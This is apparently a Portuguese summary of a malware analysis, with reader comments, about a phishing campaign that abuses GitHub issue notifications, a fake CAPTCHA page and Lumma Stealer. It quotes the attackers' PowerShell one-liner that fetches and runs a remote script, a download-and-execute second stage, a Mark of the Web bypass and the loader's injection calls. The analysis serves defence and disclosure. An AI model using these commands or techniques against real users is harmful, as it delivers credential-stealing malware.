- O invasor usou o fluxo normal de notificações de um repositório público para entregar ao proprietário do repositório uma mensagem maliciosa que parecia ser um e-mail realmente enviado pelo GitHub
- Como o invasor consegue compor a maior parte do corpo do e-mail, é difícil determinar se é phishing apenas verificando o remetente e os links
- Ao clicar no link, aparece uma página falsa de CAPTCHA, que induz o usuário a colar um comando PowerShell na janela Executar do Windows, iniciando o download do malware
- Como o arquivo é baixado via
.NET System.Net.WebClient.DownloadFile do PowerShell, ele não recebe o Mark of the Web, o que permite evitar o alerta de assinatura do Windows
- O payload final está associado a um malware que vários antivírus no VirusTotal detectaram como LUMMASTEALER, uma família de stealers voltada a credenciais, carteiras de criptomoedas e dados sensíveis
Fluxo do ataque usando e-mails de notificação do GitHub
- Proprietários de repositórios públicos recebem com frequência e-mails de notificação do GitHub sobre atividades como issues, comentários e Pull Requests
- O invasor explora esse sistema legítimo de notificações na seguinte sequência
- Cria uma issue em um repositório público usando uma conta descartável do GitHub
- Exclui rapidamente a issue
- O proprietário do repositório recebe um e-mail de notificação enviado pelo GitHub
- Se o destinatário clicar no link do e-mail, é levado a um site malicioso
- Ao seguir as instruções, o sistema é infectado por malware
- O corpo real do e-mail dizia que uma vulnerabilidade de segurança havia sido descoberta e que mais informações poderiam ser consultadas em
github-scanner[.]com, fazendo-se passar pela “Github Security Team”
Por que o e-mail parecia convincente
- O e-mail era uma notificação realmente enviada pelo GitHub, por isso passava por boa parte das verificações comuns contra phishing
- O remetente do e-mail era o GitHub
- O link no corpo levava ao destino exibido
- É difícil avaliar a situação real usando apenas as áreas do e-mail que não são controladas pelo invasor
- O fato de uma nova issue ter sido criada não fica suficientemente evidente no e-mail
- O invasor pode criar o contexto que quiser por meio do texto do corpo
- Os e-mails de notificação do GitHub poderiam ser aprimorados das seguintes formas para reduzir o impacto do ataque
- Fornecer mais contexto sobre qual ação causou o envio do e-mail
- Reduzir a proporção de conteúdo controlado pelo invasor
- Melhorar a clareza sobre o remetente do e-mail
- O e-mail em questão e as preocupações relacionadas foram encaminhados à GitHub Security real
CAPTCHA falso e execução do PowerShell
- Ao seguir o link do e-mail, é exibida uma página que parece um CAPTCHA
- A exigência de provar que é humano por meio de um CAPTCHA pode não parecer estranha aos usuários por causa de desafios automáticos de serviços como o Cloudflare
- Essa página não usa um CAPTCHA comum de seleção de imagens; ela pede para abrir a janela Executar do Windows e colar um comando
- O comando da primeira etapa inserido na área de transferência abre uma janela oculta do PowerShell, baixa um script remoto e o executa
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex é um alias de Invoke-Expression, e iwr é um alias de Invoke-WebRequest- Ele funciona de forma semelhante a executar
curl | bash no Linux
- O comentário no fim do comando oculta a parte inicial devido à limitação de tamanho da janela Executar do Windows, fazendo com que para o usuário pareça uma mensagem de verificação CAPTCHA
Download da segunda etapa e bypass dos alertas do Windows
- O script baixado faz o download de
github-scanner[.]com/l6E.exe, salva-o como SysSetup.exe na pasta temporária e o executa
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- O executável tinha uma assinatura digital, mas a assinatura do binário malicioso não era válida
- A assinatura parecia ter vindo do Spotify, mas, após discussão com a DigiCert, concluiu-se que não era um certificado roubado, e sim uma assinatura falsificada
- O Windows determina se um arquivo foi baixado da internet pelo sinalizador Mark of the Web(MOTW)
- Navegadores e outros programas podem definir esse sinalizador em arquivos baixados
- Softwares como o Office podem alterar seu comportamento com base nesse sinalizador
- Ao baixar o mesmo executável pelo navegador, o Windows alerta que a assinatura é inválida
- No fluxo da vítima, o arquivo não é baixado pelo navegador, mas pelo
.NET Framework System.Net.WebClient.DownloadFile do PowerShell
- Esse método não define o sinalizador MOTW no arquivo baixado
- O Windows só exibe o alerta de execução com assinatura digital inválida quando o MOTW está presente
- Como o MOTW pode ser removido facilmente, depender desse sinalizador não é uma abordagem segura
- As duas fragilidades relacionadas do Windows foram reportadas à Microsoft
Análise do loader e payload final
- O executável mostrava vestígios relacionados a .NET no Ghidra, então foi analisado com o dotPeek
- O fluxo principal está no ponto de entrada e no método
PersonalActivation
- O ponto de entrada oculta a janela do console
- Chama
PersonalActivation duas vezes em uma thread em segundo plano
- Marca uma região de memória como executável usando
VirtualProtect
- Executa-a com
CallWindowProcW
PersonalActivation recebe uma lista não utilizada e dois arrays de bytes
- O primeiro array parece ser um buffer de dados
- O segundo array é indicado como
key
- Ele realiza muitas operações matemáticas, parecendo algum tipo de rotina de descriptografia
- Ao comentar as chamadas
VirtualProtect e CallWindowProcW e verificar o buffer descriptografado no depurador
- O primeiro buffer continha
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread e outros
- Também aparecia o caminho
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
- O segundo buffer tinha o formato de um executável Windows com cabeçalhos
MZ e PE
- O loader carrega na memória o exe “criptografado” contido no grande array de bytes no início, torna-o executável e o executa
Detecção do Lumma Stealer e ferramentas usadas
- A etapa final era um exe do Windows não .NET, e a análise adicional ficou limitada apenas pela saída do Ghidra
- Os dois binários já eram detectados por vários antivírus no VirusTotal
- Nos nomes de detecção, aparece de forma recorrente o padrão LUMMASTEALER
- Lumma é uma das operações de malware no modelo “malware as a service”
- O código stealer procura carteiras de criptomoedas, credenciais salvas e dados sensíveis
- Os dados coletados são enviados a um servidor de comando e controle(C2)
- Depois disso, podem resultar em roubo financeiro ou venda de dados
- O malware Lumma não costuma criptografar os dispositivos das vítimas como um ransomware tradicional
- Como material adicional sobre Lumma, é recomendado o artigo da Cyfirma Lumma Stealer tactics, impact and defense strategies
- As ferramentas usadas na análise foram Windows Sandbox, Ghidra, dotPeek, HxD e Visual Studio
1 comentários
Opiniões do Hacker News
Fico pensando se alguém realmente cai nesse tipo de golpe
Primeiro, só pela captura de tela não dá para ter certeza, mas assumindo que o autor sabia que o email vinha do GitHub, o primeiro sinal de alerta é que ele leva para github-scanner.com, uma variação do domínio real
Se você não sabe de quem é github-scanner.com, o mais seguro é tratar como golpe só pelo fato de parecer um site real convincente
O enorme sinal de alerta é que a mensagem de segurança manda digitar um comando no shell, e, para executar isso, teria que ser ingênuo demais para eu ter muito mais a dizer
Ninguém é perfeito, e quanto mais elementos passam confiança, maior tende a ser a taxa de conversão
Se a pessoa tem visão ruim, está sem tempo, cansada ou exausta, até alguém que normalmente seria difícil de enganar pode cair mais facilmente
Se for possível automatizar em larga escala, até uma taxa de conversão baixa pode resultar em muitas contas comprometidas
Não parece tão diferente de configurar uma chave SSH, e usuários novos realmente passam pela experiência de copiar e colar comandos enviados pelo GitHub
Certamente era malware, então apaguei os comentários na hora e denunciei as contas ao GitHub
Eu não cairia numa tática tão óbvia, mas a pessoa que fez a pergunta inicialmente parecia não ser técnica, pelo histórico de atividade no GitHub e pela qualidade da pergunta
Se estivesse num estado de querer testar qualquer coisa rapidamente, sem olhar de forma crítica, dá para imaginar que cairia
Citi e PayPal também fazem isso em alguns emails, e isso me irrita toda vez
No mês passado, em uma conferência, o CEO de uma empresa de cibersegurança fez a keynote dizendo que, em alguns casos, mais de 80% dos usuários ainda caem em golpes por email, então era preciso mais dinheiro
O que perguntei ao palestrante, falando sério, foi: se gastamos milhões de dólares e quase 25 anos nisso, e ainda assim mais de 80% dos usuários continuam clicando no link errado, será que não estamos fazendo algo fundamentalmente errado?
Recentemente recebi do PayPal um email muito mais convincente
Alguém enviou um orçamento, aparentemente um recurso que pode ser usado sem solicitação, e definiu o nome da empresa como algo tipo “O PayPal precisa entrar em contato sobre uma cobrança recente de $499.00, então ligue para +1-...”
Então, por causa do texto “está enviando um orçamento de $xxx” no email de orçamento do PayPal, esse nome da empresa ocupa a maior parte do texto no topo
Esse email veio de fato de PayPal.com, e eu não entendo como uma empresa de processamento de pagamentos ainda não conseguiu bloquear esse problema de nome de usuário
Eu denunciei, mas não houve resposta, e não deveriam banir só aquela conta, e sim todos os nomes desse tipo
A formatação também parecia exatamente a de um email legítimo do PayPal, e acho que muita gente comum cairia nesse golpe
Se quiser o email, entre em contato pelo site no meu perfil
Quando entrei no PayPal, não aparecia nada no site
Se precisassem de algo, deveriam ligar diretamente, escrever o conteúdo no email ou mostrar isso no portal
Há motivos de segurança, mas qualquer pessoa que tenha mexido com HTML por 5 minutos consegue criar um email que “parece real”
Win+R, CTRL+V
Uma armadilha disfarçada de captcha de segurança
Se for um desenvolvedor júnior, parece algo em que ele poderia cair. Algo como: “É do GitHub, então deve ser legítimo, né? A gente até recebe alertas de segurança de bibliotecas que usamos a cada dois meses”
Também pode pensar: “Nossa, que interessante, um captcha de segurança que se resolve executando código!”
Não deveria ser permitido que uma página web preenchesse a área de transferência só com um clique; deveria haver uma prévia do conteúdo
Talvez tenham achado que exigir uma ação do usuário, como um clique, resolveria, mas isso ainda é fraco demais, e esse é o primeiro problema
As pessoas precisam parar de executar links de e-mail sem pensar ou de acreditar que o conteúdo do e-mail tem legitimidade por si só. O conteúdo do e-mail em si não tem legitimidade, e esse é o segundo problema
Em terceiro lugar, o Windows ainda permite que uma máquina seja tomada em nível de root com uma única linha de PowerShell?
Talvez o GitHub também precise impedir que serviços automatizados coloquem em issues links cuja legitimidade do conteúdo não tenha sido verificada remotamente
Eles estão enviando isso para o e-mail das pessoas, então não dá para fingir que não sabem que isso pode ser usado para phishing. Isso já é segurança cibernética 101 desde 2015
Por fim, se o GitHub não consegue tomar as medidas acima, então deveria remover mais conteúdo dos e-mails que envia às pessoas e mandar só algo como um banco faria: “Há uma nova issue neste repositório...”
Aí, quando o usuário entrasse, não haveria mensagem nenhuma, e a história terminaria ali. Acho que o GitHub precisa amadurecer mais nesse ponto
Acho que é preciso treinar melhor as pessoas sobre o que é nocivo
Sobre o Windows, pelo menos dois funcionários já pediram para sair do Windows. Vou fazer o possível; é um projeto demorado, mas no fim vamos conseguir
O ícone de escudo na captura de tela da caixa de diálogo “Executar” mostra claramente que é um usuário com privilégios administrativos e com o UAC desativado
Nesse caso, então também seria hora de reclamar que o Linux deixa tomar root com uma linha como
curl malware.zyx/evilscript | bashA estratégia da área de transferência também deveria ser fácil de bloquear. A maioria dos golpistas só convence a pessoa por telefone a digitar diretamente na caixa Executar uma URL bem disfarçada
cmd.exe, só para ver o conteúdo do site mais rápido e sem interrupçõesSim, eu sou um usuário de Windows 10x
O motivo de podermos tratar o Windows como “root” é porque nós somos o root; mais especificamente, porque a instalação do Windows sempre transforma a primeira conta de usuário configurada em conta de administrador
Isso é uma vantagem. Podemos fazer o que quisermos no computador que possuímos e usamos
Numa era em que os sistemas operacionais ficam cada vez mais fechados e impedem o usuário de realmente possuir e controlar seu computador, o Windows simplesmente permite isso
Espero sinceramente que isso nunca mude
Em resumo, é para não clicar em links de e-mail
github-scanner.comegithub-scanner.shopainda são do mesmo agente malicioso? Parece que simÉ engraçado o DNS estar na Cloudflare. A Cloudflare é famosa por dizer que “não hospeda nada”, mas parece achar que somos todos idiotas
Também não parece haver um jeito de denunciar esse tipo de abuso à Cloudflare, que não assume responsabilidade alguma
O domínio 2x.si, que hospeda malware, usa Cloudflare tanto para DNS quanto para hospedagem
Pelo menos isso dá para denunciar à Cloudflare, mas o formulário de denúncia de abuso aplica rate limit em humanos e ainda exige captcha de segurança
Dá até um suspiro. Graças à Cloudflare, hoje em dia phishing e hospedagem de malware ficaram fáceis demais
Digo isso por experiência lidando com ambos
Nessa página aparece Phishing & Malware como tipo de abuso para selecionar
Isso é mais resmungo do que um comentário sério de segurança, mas sempre me incomodou que o critério para reprovar em testes de phishing seja “clicou em qualquer link do e-mail”
Na prática, não é mais importante saber se a pessoa inseriu credenciais no site de phishing ou se baixou e abriu um arquivo?
Entendo que seja mais fácil ensinar usuários não técnicos a não clicar em links ruins de jeito nenhum e que vulnerabilidades de navegador também existem, mas ainda assim há algo irritante nisso
Já vi muitos casos em que textos assim acabam com o usuário inserindo credenciais, dando permissões estranhas ao navegador, baixando arquivos ou, como desta vez, executando comandos
Quase nunca vi um caso terminar em “clicou no link e um 0-day do navegador explodiu, fim”
O navegador web tem uma grande superfície de ataque, mas ao mesmo tempo é uma ferramenta feita justamente para navegar pela internet
A maioria das pessoas clica em links com bastante naturalidade enquanto trabalha ou pesquisa
Defesa em profundidade é necessária, mas uma política de segurança que toma como princípio central “nunca visite sites maliciosos” parece bastante falha
Uma alternativa é usar Qubes OS e abrir links só em uma máquina virtual descartável, sem inserir nada além disso
Quando recebo um e-mail para verificar o endereço de uma conta nova, geralmente faço assim
Não dá para evitar clicar em links o tempo todo, né?
Ao ler a parte “o atacante apaga rapidamente a issue”, percebi que nunca tentei apagar uma issue que eu mesmo criei
Mas, em um repositório, só quem tem permissão de administrador não é que pode apagar issues? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
Nesse caso, na prática ainda devem restar vestígios dessa issue no repositório, e o mesmo vale para pull requests
A alegação de que não há nada no e-mail indicando que ele se refere a uma nova issue está errada
O “(Issue #1)” no título significa exatamente isso
Eu também recebi esse mesmo e-mail na prática e percebi na hora que uma nova issue havia sido criada no repositório
Também fica claro, pelo fato de ser a primeira issue do repositório, que esse usuário não está acostumado com issues do GitHub
Acho que o GitHub precisa orientar melhor os usuários iniciantes
Essas pessoas realmente podem ser enganadas com muita facilidade
Quem é técnico talvez perceba, mas isso não significa que o GitHub esteja dispensado de fazer melhor
Recebi uma dessas notificações hoje de manhã e ignorei imediatamente
O engraçado é que o alvo era justamente este repositório: https://github.com/kyledrake/theftcoinjs
É um texto que vale a leitura. Mostra o que os atacantes estão tentando fazer
Só de ver o link já é fácil desconfiar, mas é interessante acompanhar o processo de investigação de alguém
Hoje de manhã abri um bug em um repositório do GitHub e, em menos de 1 minuto, alguém respondeu algo mais ou menos assim
“Tente isto. Acho que vai corrigir o problema. Se precisar de compilador, instale o GCC”
Depois vinha um link do Bitly que redirecionava para um arquivo zip no MediaFire, junto com uma senha
O GitHub tratou minha denúncia de abuso em menos de uma hora e removeu todas as postagens daquele usuário
Nossa, eu também vinha recebendo e-mails parecidos de notificação do GitHub
Diziam que uma vulnerabilidade tinha sido detectada no repositório, e até ver esta notícia eu não tinha pensado que fossem falsos
Ainda assim, como sou um programador preguiçoso, não cliquei. Depois que escrevo, está escrito; posso até reescrever código, mas não vou atrás de bugs para corrigir no meu próprio código
É um recurso em que o GitHub avisa sobre vulnerabilidades de segurança nas dependências do projeto
Por exemplo, se você usa Python e especificou a biblioteca
requestsnorequirements.txt, o GitHub pode enviar um e-mail informando sobre vulnerabilidades públicas nessa biblioteca e recomendar a atualização para uma versão superior corrigida